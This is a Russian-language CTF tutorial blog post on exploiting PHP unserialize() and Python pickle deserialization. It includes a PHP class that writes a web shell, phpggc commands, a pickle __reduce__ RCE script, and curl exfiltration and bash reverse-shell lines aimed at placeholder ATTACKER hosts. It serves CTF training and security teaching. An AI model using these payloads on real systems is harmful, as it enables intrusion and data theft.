Главная / Блог / Десериализация в CTF: PHP и Python эксплойты

15 мин.03

Десериализация в CTF: PHP и Python эксплойты

Десериализация в CTF: PHP и Python эксплойты

Таск уровня medium на web-CTF: стандартная Flask-форма, пара эндпоинтов, ничего подозрительного в HTML. В Burp промелькнул Base64-блоб в cookie session — декодирую, первые байты \x80\x04\x95. Сигнатура pickle protocol 4. От момента идентификации формата до RCE через __reduce__ прошло 12 минут: класс с одним магическим методом, os.system, cat /flag.txt. Вся развилка — узнать формат по сигнатуре. Дальше дело техники.

Ниже — разбор механики эксплуатации уязвимостей десериализации в CTF для обоих языков: PHP unserialize() и Python pickle.loads(), от первого байта до захвата флага.

Распознаём десериализацию в web CTF заданиях: сигнатуры и точки входа

Поиск уязвимостей десериализации в CTF начинается не с payload, а с распознавания формата данных в трафике. Типичная ошибка — сразу кидать кавычки и XSS-векторы во все поля ввода. Сначала оценка того, что вообще летает по проводу, потом гипотеза, и только потом проверка. Подробнее — в нашем руководстве по пентест веб-приложений.

PHP serialization format — текстовый, человекочитаемый. Строка начинается с буквы типа данных:

  • O: — объект (Object)
  • s: — строка (String)
  • i: — целое число (Integer)
  • b: — булево значение (Boolean)
  • a: — массив (Array)

Типичный сериализованный PHP-объект в cookie или POST-параметре: O:4:"User":2:{s:4:"name";s:6:"carlos";s:7:"isAdmin";b:0;}. PHP использует этот формат нативно в serialize() и unserialize(). Увидели в трафике строку, начинающуюся с O: или a: — уже можно копать.

Python pickle — бинарный формат. Распознаётся по первым байтам:

  • \x80\x02 — pickle protocol 2
  • \x80\x03 — protocol 3 (Python 3.0+)
  • \x80\x04\x95 — protocol 4 (Python 3.4+)
  • \x80\x05\x95 — protocol 5 (Python 3.8+)

В HTTP-трафике pickle почти всегда закодирован в Base64. Декодируйте подозрительные блобы и проверьте первые байты. Быстрая проверка в терминале: echo "BLOB" | base64 -d | xxd | head -1.

Java serialization — сигнатура ac ed 00 05 (hex) или rO0AB (Base64). Здесь фокус на PHP и Python, но маркер стоит знать — если в cookie rO0AB, это Java, не pickle. Не перепутайте.

Где искать в CTF-таске:

  • Cookie — самая частая точка входа. Декодируйте каждый cookie из Base64
  • POST/GET-параметры — иногда сериализованные объекты передаются напрямую
  • Hidden fields в HTML-формах
  • WebSocket-фреймы
  • HTTP-заголовки (реже, но бывает)

Burp Suite Professional автоматически подсвечивает сериализованные объекты в HTTP-сообщениях. В Community Edition — руками через Decoder. Расширение Java Deserialization Scanner маркирует Java-объекты автоматически, но для PHP и pickle нужен ручной разбор.

PHP unserialize уязвимость: от сериализованной строки до выполнения кода

PHP object injection — одна из самых частых категорий web CTF заданий на десериализацию. В большинстве тасков дают исходный код, и задача сводится к трём шагам: найти вызов unserialize(), определить классы с опасными магическими методами, собрать payload.

Формат сериализации PHP — разбираем каждый символ

Прежде чем ломать, нужно уметь читать и модифицировать сериализованные строки. Разберём формат на конкретном примере.

Строка O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} декодируется так:

  • O:4:"User" — объект класса User (4 символа в имени)
  • :2: — у объекта 2 свойства
  • {...} — содержимое свойств
  • s:8:"username" — ключ: строка username длиной 8 символов
  • s:6:"carlos" — значение: строка carlos длиной 6 символов
  • s:7:"isAdmin" — ключ второго свойства
  • b:0 — значение: булево false

Критический момент для CTF: замените b:0 на b:1, и объект при десериализации восстановится с isAdmin = true. Простейшая атака — модификация атрибутов. Если приложение проверяет права через $user->isAdmin === true после unserialize() без верификации целостности — эскалация привилегий готова. По данным PortSwigger, именно этот паттерн чаще всего встречается как первый шаг к эксплуатации insecure deserialization.

Нюанс, на котором спотыкаются постоянно: при ручном редактировании строки нужно следить за длинами. Заменяете s:6:"carlos" на s:5:"admin" — длина должна соответствовать фактической строке. Несовпадение вызывает ошибку десериализации, объект не восстановится. На CTF это причина номер один «payload не работает» — пересчитайте длины после каждого изменения.

Ещё один приём — модификация типов данных. По данным PortSwigger, PHP при нестрогом сравнении == делает неявное приведение типов. На PHP 7.x и ранее сравнение 0 == "Example string" возвращает true, потому что строка приводится к целому числу 0. Это позволяет обойти проверку пароля: вместо строки пароля в сериализованном объекте подставляем i:0, и условие $login['password'] == $password пройдёт для любого нечислового пароля. На PHP 8+ трюк не работает — строки больше не приводятся к 0 неявно. Поведение для строк, начинающихся с числа (5 == "5 of something" → true), сохраняется и в PHP 8.

Магические методы PHP __wakeup __destruct и PHP object injection

Настоящая эксплуатация уязвимостей десериализации в CTF начинается с магических методов. PHP вызывает их автоматически на определённых этапах жизни объекта:

  • __wakeup() — срабатывает сразу после десериализации через unserialize(). Первый кандидат на эксплуатацию
  • __destruct() — срабатывает при уничтожении объекта (сборщик мусора, конец скрипта). Работает даже если результат unserialize() нигде не сохраняется — а это значит, что тупо вызвать unserialize() уже достаточно
  • __toString() — срабатывает при приведении объекта к строке (echo, конкатенация)

По данным Redbot Security, PHP object injection возникает когда атакующий передаёт сериализованное представление, влияющее на объекты, которые приложение восстанавливает. Результат — не обязательно RCE: может быть чтение файлов, SQL-инъекция или SSRF. Зависит от того, какие магические методы доступны и что они делают с контролируемыми свойствами.

В CTF-тасках классический паттерн — класс с __destruct() или __wakeup(), который делает что-то опасное, используя свойства объекта. А свойства контролирует атакующий через сериализованную строку:

<?php
class Logger {
    public $logfile, $data;
    function __destruct() { file_put_contents($this->logfile, $this->data); }
}
$obj = new Logger();
$obj->logfile = '/var/www/html/shell.php';
$obj->data = '<?php system($_GET["c"]); ?>';
echo serialize($obj);

Результат: O:6:"Logger":2:{s:7:"logfile";s:22:"/var/www/html/shell.php";s:4:"data";s:27:"<?php system($_GET["c"]); ?>";}. Отправляем строку в уязвимый параметр — при десериализации и уничтожении объекта __destruct() запишет веб-шелл. Дальше обращаемся к shell.php?c=cat+/flag.txt.

С PHP 7.0 у unserialize() появился параметр allowed_classes, ограничивающий список классов для десериализации. По данным Redbot Security, это ограничение, а не полноценная защита — документация PHP всё равно предупреждает против обработки недоверенных данных через unserialize() вне зависимости от allowed_classes. В CTF-тасках этот параметр иногда ставят как дополнительное препятствие, но он обходится, если хотя бы один «разрешённый» класс имеет опасный магический метод.

Gadget chain эксплуатация: POP-цепочки и phpggc

В реальных CTF-тасках редко встречается один класс с eval() внутри __wakeup(). Чаще нужно выстроить цепочку вызовов через несколько классов — POP chain (Property-Oriented Programming chain). Один объект через магический метод дёргает метод другого, тот — третьего, и конечный вызов делает грязную работу.

POP chain строится так:

  1. Находите «точку входа» — класс с __destruct(), __wakeup() или __toString(), который обращается к свойству-объекту
  2. Прослеживаете, какой метод вызывается у этого свойства
  3. Ищете класс, у которого этот метод делает что-то полезное для атаки
  4. Вкладываете объекты друг в друга и сериализуете конструкцию

Когда CTF-таск использует популярный PHP-фреймворк (Laravel, Symfony, Yii, WordPress), ручной поиск POP chain можно заменить на phpggc — утилиту с готовыми gadget-цепочками. Просмотр доступных цепочек: phpggc -l. Генерация payload для Laravel: phpggc Laravel/RCE1 system "cat /flag.txt". На выходе — готовый сериализованный объект, который при десериализации выполнит команду через внутренние классы фреймворка.

Фреймворк Пример цепочки Результат Версии
Laravel Laravel/RCE1 — RCE10 RCE 5.x — 10.x (зависит от цепочки)
Symfony Symfony/RCE1 — RCE7 RCE 2.x — 6.x
WordPress WordPress/RCE1 — RCE2 RCE 4.x — 6.x
Yii Yii/RCE1 RCE 1.1.x — 2.x

Ограничение phpggc, о котором забывают: цепочка работает только если на сервере стоит конкретная версия фреймворка с нужными классами. Перед использованием проверяйте версию по заголовкам ответа, composer.lock (если доступен) или ошибкам приложения. Не та версия — и payload молча не сработает, без какого-либо сообщения. Будете сидеть и гадать, что не так.

PHAR десериализация объектов PHP без вызова unserialize

Отдельный класс CTF-тасков — PHAR deserialization. По данным PortSwigger, PHAR (PHP Archive) файлы содержат сериализованные метаданные, которые десериализуются автоматически при обращении к файлу через потоковую обёртку phar://.

Суть: если приложение выполняет файловую операцию (file_exists(), fopen(), file_get_contents(), is_dir(), filesize()) над путём, который контролирует пользователь, и в этот путь можно подставить phar://path/to/archive.phar — десериализация произойдёт без единого вызова unserialize() в коде. Ни одного. Вообще.

Алгоритм эксплуатации PHAR десериализации в CTF:

  1. Убеждаетесь, что в коде есть файловая операция с пользовательским вводом
  2. Находите gadget chain (класс с опасным магическим методом — тот же подход, что и для unserialize())
  3. Создаёте PHAR-архив с вредоносными метаданными через PHP-скрипт с Phar::__construct() и setMetadata() — подставляете объект с нужными свойствами. Для генерации PHAR-файлов опция phar.readonly в php.ini должна быть Off на вашей локальной машине
  4. Загружаете PHAR на сервер через upload (аватарка, документ, файл обратной связи)
  5. Обращаетесь к загруженному файлу через phar://uploads/avatar.jpg в уязвимом параметре

PHAR-файл можно замаскировать под любой формат (JPEG, GIF) — достаточно добавить magic bytes нужного формата в начало файла. Валидация по расширению или content-type не спасает. Это одна из самых хитрых разновидностей PHP object injection в CTF — исходный код выглядит чистым, никаких unserialize() нигде нет, а файловая операция с phar:// запускает всю цепочку. Красиво, если честно.

Python pickle эксплуатация через reduce

Python pickle — второй по популярности формат десериализации в web CTF заданиях. И тут принципиальное отличие от PHP: для эксплуатации не нужен доступ к исходникам и знание классов приложения. Достаточно самого факта вызова pickle.loads() на контролируемых данных — и всё, RCE у вас в кармане.

Документация Python прямо говорит: «The pickle module is not secure. Only unpickle data you trust.» По данным Semgrep, Django с версии 4.1 deprecated PickleSerializer для сессий именно из-за невозможности сделать pickle безопасным. Другие опасные библиотеки со схожим механизмом — dill (расширяет pickle), jsonpickle (JSON-обёртка над pickle), shelve (хранилище pickled-объектов) и PyYAML с вызовом yaml.load() вместо yaml.safe_load().

Payload через reduce: пошаговая сборка Python pickle RCE

Метод __reduce__() определяет, как объект восстанавливается при десериализации. Он возвращает кортеж: (callable, args), где callable — функция, вызываемая с аргументами args. Подставляем os.system и команду ОС вместо штатного восстановления — получаем Python pickle RCE.

import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

Скрипт генерирует Base64-строку — подставляете в уязвимый параметр (cookie, POST-поле, WebSocket). При вызове pickle.loads() на сервере выполнится os.system('cat /flag.txt').

Варианты callable для разных CTF-сценариев:

  • os.system — выполнение команды ОС, результат в stdout сервера (не всегда видно в HTTP-ответе)
  • subprocess.check_output — выполнение с возвратом результата (полезно если ответ сервера содержит десериализованный объект)
  • exec — произвольный Python-код. Позволяет импортировать модули и собирать сложные payload'ы: return (exec, ('import os;os.system("cat /flag.txt")',))

Для генерации payload'а не нужен доступ к исходникам серверного приложения. Pickle самодостаточен: содержит инструкции для восстановления объекта, включая импорт модулей и вызов функций. Фундаментальное отличие от PHP, где без знания классов сервера далеко не уедешь.

Слепая десериализация: out-of-band exfiltration флага

Частый CTF-сценарий: pickle.loads() выполняется на сервере, но результат команды не возвращается в HTTP-ответе. Сервер отдаёт статичную страницу или пустую 200. Слепая десериализация — нужен out-of-band канал для вытаскивания данных.

DNS exfiltration. Подставляем команду, которая делает DNS-запрос с данными флага в поддомене. В __reduce__ возвращаем: (os.system, ('curl https://$(cat /flag.txt | tr -d "{}").ATTACKER.com',)). Для перехвата DNS-запросов — Burp Collaborator (Professional) или Interactsh от Project Discovery (опенсорсный). Нюанс: фигурные скобки {} в флагах формата CTF{...} невалидны в доменных именах — удаляем через tr -d "{}" или кодируем в hex перед отправкой.

HTTP exfiltration на свой сервер. Поднимаем на VPS netcat-листенер nc -lvnp 8080 и отправляем содержимое флага POST-запросом: (os.system, ('curl -X POST -d @/flag.txt http://ATTACKER:8080',)). Надёжнее DNS — нет ограничений на символы и длину данных.

Reverse shell. Когда нужен полноценный доступ к файловой системе, а не просто флаг. Классический bash reverse shell через pickle: (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"',)). Ловим через nc -lvnp 4444. Оправдан на тасках, где флаг спрятан в нестандартном месте и нужно интерактивно порыться по файловой системе.

PHP vs Python: сравнение подходов к десериализации в CTF

Аспект PHP unserialize Python pickle
Формат данных Текстовый, читаемый Бинарный (опкоды)
Сигнатура O: или a: в начале \x80\x03 / \x80\x04\x95
Опасный вызов unserialize() pickle.loads()
Триггер RCE Magic methods (__destruct, __wakeup) __reduce__()
Нужен исходный код Да, для POP chain Нет
Альтернативный триггер phar:// stream wrapper Нет прямого аналога
Инструмент генерации phpggc (фреймворки) / ручной скрипт Ручной Python-скрипт
Версионные ограничения PHP 7 vs 8 (type juggling), allowed_classes Pickle protocol 2-5, restricted unpickler
Сложность эксплуатации Средняя — высокая Низкая (если есть pickle.loads())

Таблица — быстрый справочник для CTF. Видите PHP-таск — первый шаг: найти unserialize() в исходниках и доступные классы с магическими методами. Видите pickle — сразу генерите payload с __reduce__. Исключение: таски уровня hard с restricted unpickler на стороне Python, где стандартный __reduce__ блокируется через переопределённый find_class(). Там нужна ручная работа с pickle opcode — совсем другая история.

Бизнес-логика атаки: от CTF к реальным инцидентам

Эксплуатация объектов в CTF отрабатывает навыки, которые напрямую работают на боевых пентестах. Небезопасная десериализация — CWE-502 (Deserialization of Untrusted Data). OWASP относит её к категории A08:2021 — Software and Data Integrity Failures.

Мотивация злоумышленника проста: десериализация на публичном endpoint — initial access без аутентификации. По MITRE ATT&CK это Exploit Public-Facing Application (T1190, тактика Initial Access). Результат — Command and Scripting Interpreter (T1059, тактика Execution): атакующий выполняет команды ОС от имени процесса приложения. Дальше — закрепление через Web Shell (T1505.003, Persistence) или Reflective Code Loading (T1620, Defense Evasion).

Три CVE, которые показывают масштаб:

  • CVE-2015-4852 (CVSS 9.8, CRITICAL) — десериализация в Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 через T3-протокол. CWE-502. EPSS 0.9829 — экстремально высокая вероятность эксплуатации (top 1%). Добавлена в CISA KEV в ноябре 2021 — спустя шесть лет после раскрытия. CISA SSVC Decision: Act — патчить немедленно. PoC: Metasploit-модуль (EDB-46628). Та же gadget chain из Apache Commons Collections одновременно накрывала JBoss, Jenkins и другие Java-приложения
  • CVE-2015-8103 (CVSS 9.8, CRITICAL) — десериализация в Jenkins CLI через commons-collections и Groovy gadget chain. CWE-502. EPSS 0.9186 (top 1%). PoC: Metasploit-модуль (EDB-38983)
  • CVE-2019-2725 (CVSS 9.8, CRITICAL) — Web Services компонент Oracle WebLogic Server 10.3.6.0.0 и 12.1.3.0.0. CWE-74. EPSS 0.9998 — практически гарантированная эксплуатация. В CISA KEV помечена тегом RANSOMWARE — через неё распространялись вымогатели

По данным Mandiant M-Trends 2025, эксплойты — самый распространённый вектор начального доступа (38% инцидентов). Python pickle эксплуатируется в ML-пайплайнах, где модели передаются через pickle.loads(). PHP unserialize уязвимость остаётся актуальной в CMS-системах и кастомных приложениях. Навыки, отточенные на CTF-тасках по десериализации, работают один к одному на реальных engagement'ах.

Пошаговый алгоритм: решаем web CTF задания на десериализацию

Алгоритм решения CTF-задачи на insecure deserialization — девять шагов. Каждый шаг — конкретное действие с проверяемым результатом.

Шаг 1. Разведка формата. Прокидывайте все запросы через Burp. Декодируйте cookie и скрытые параметры из Base64. Ищите сигнатуры: O: для PHP, \x80\x03/\x80\x04\x95 для pickle, rO0AB для Java.

Шаг 2. Определите язык и стек. Заголовки ответа (X-Powered-By, Server), расширения файлов, ошибки приложения — всё даёт подсказки. PHP-таск с unserialize() и Python-таск с pickle.loads() эксплуатируются принципиально по-разному.

Шаг 3. Найдите точку входа. Какой параметр принимает сериализованные данные и передаёт их в функцию десериализации? Если исходников нет — экспериментируйте: отправьте невалидную сериализованную строку и смотрите, что вернётся в ошибках.

Шаг 4. Изучите исходный код (PHP). Ищите классы с магическими методами __wakeup(), __destruct(), __toString(). Прослеживайте, что эти методы делают со свойствами объекта. Стройте POP chain от точки входа до опасного вызова.

Шаг 5. Проверьте фреймворк (PHP). Если таск на Laravel, Symfony или другом фреймворке — phpggc -l и ищите готовую gadget-цепочку. Экономит часы ручного анализа.

Шаг 6. Генерируйте payload. Для PHP — через PHP-скрипт или phpggc. Для Python — через скрипт с классом, реализующим __reduce__(). Кодируйте в Base64 или URL-encoding по ситуации.

Шаг 7. Тестируйте с безопасной командой. Не начинайте с cat /flag.txt. Сначала id или whoami. Если слепая эксплуатация — ping или curl на свой сервер через Burp Collaborator / Interactsh.

Шаг 8. Извлеките флаг. При прямом ответе — cat /flag.txt. При слепой десериализации — out-of-band через HTTP/DNS exfiltration или reverse shell.

Шаг 9. Проверьте PHAR (PHP). Если unserialize() не найден, но есть файловая операция с пользовательским путём плюс возможность загрузки файлов — пробуйте PHAR десериализацию через phar:// stream wrapper.

Три самых частых ошибки на десериализационных тасках: (1) не проверять cookie и скрытые поля на сериализованные объекты, (2) модифицировать PHP-строку без пересчёта длин, (3) пытаться эксплуатировать pickle через POP chain по аналогии с PHP — в pickle POP chain не нужен, __reduce__ достаточно для полного RCE.

Большинство CTF-разборов десериализации заканчиваются на «подставь payload — получи флаг». На практике ровно этот подход создаёт иллюзию понимания. Игрок решает 20 тасков по одному шаблону, а на 21-м — POP chain через четыре класса без eval и system в коде — стоит часами без идей. Проблема не в количестве решённых задач, а в том, что механика десериализации изучается как набор рецептов, а не как концепция.

За последние два года на CTF-джемах наблюдаю одну и ту же картину: команды с десятками решённых web-тасков зависают на нестандартных deserialization chains, потому что никогда не строили POP chain с нуля — только через phpggc. Инструмент закрывает 80% кейсов, но оставшиеся 20% требуют ручного реверса классов, понимания как именно __toString() вызывает __call(), как __call() приводит к file_put_contents(). Без этого навыка потолок CTF-уровня — medium.

Отдельная проблема — переоценка Python pickle. __reduce__ = мгновенный RCE, но авторы тасков уровня hard уже давно фильтруют опкоды pickle через restricted unpickler, переопределяя find_class(). Там нужно собирать payload вручную из опкодов — GLOBAL, INST, REDUCE, BUILD — и обходить allowlist модулей. Совсем другой уровень, и готовые скрипты с __reduce__ там бесполезны.

Если хочешь не один writeup, а пройти всю атаку от базового object injection до слепых POP chains с прогрессией — на WAPT эти техники разбираются в нескольких модулях с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

OSINT с нуля: email, ник и фото в CTF-тасках

14 мин.

7

OSINT с нуля: email, ник и фото в CTF-тасках

Пошаговый разбор OSINT-цепочки в CTF: от email через username до reverse image search. Команды, тупики и 5 площадок для практики.

22 НОЯБРЬ, 2026

Race condition в CTF: поиск и эксплуатация TOCTOU

15 мин.

5

Race condition в CTF: поиск и эксплуатация TOCTOU

Как эксплуатировать race condition в CTF: single-packet attack, Turbo Intruder, Python asyncio. TOCTOU паттерны, limit overrun и 3 реальных CVE с разбором.

21 НОЯБРЬ, 2026

Форензика памяти с Volatility: разбор дампа в CTF

12 мин.

4

Форензика памяти с Volatility: разбор дампа в CTF

Пошаговый разбор дампа памяти с Volatility 2 и 3: workflow, ключевые плагины, извлечение артефактов и типичные ошибки новичков в CTF-задачах.

21 НОЯБРЬ, 2026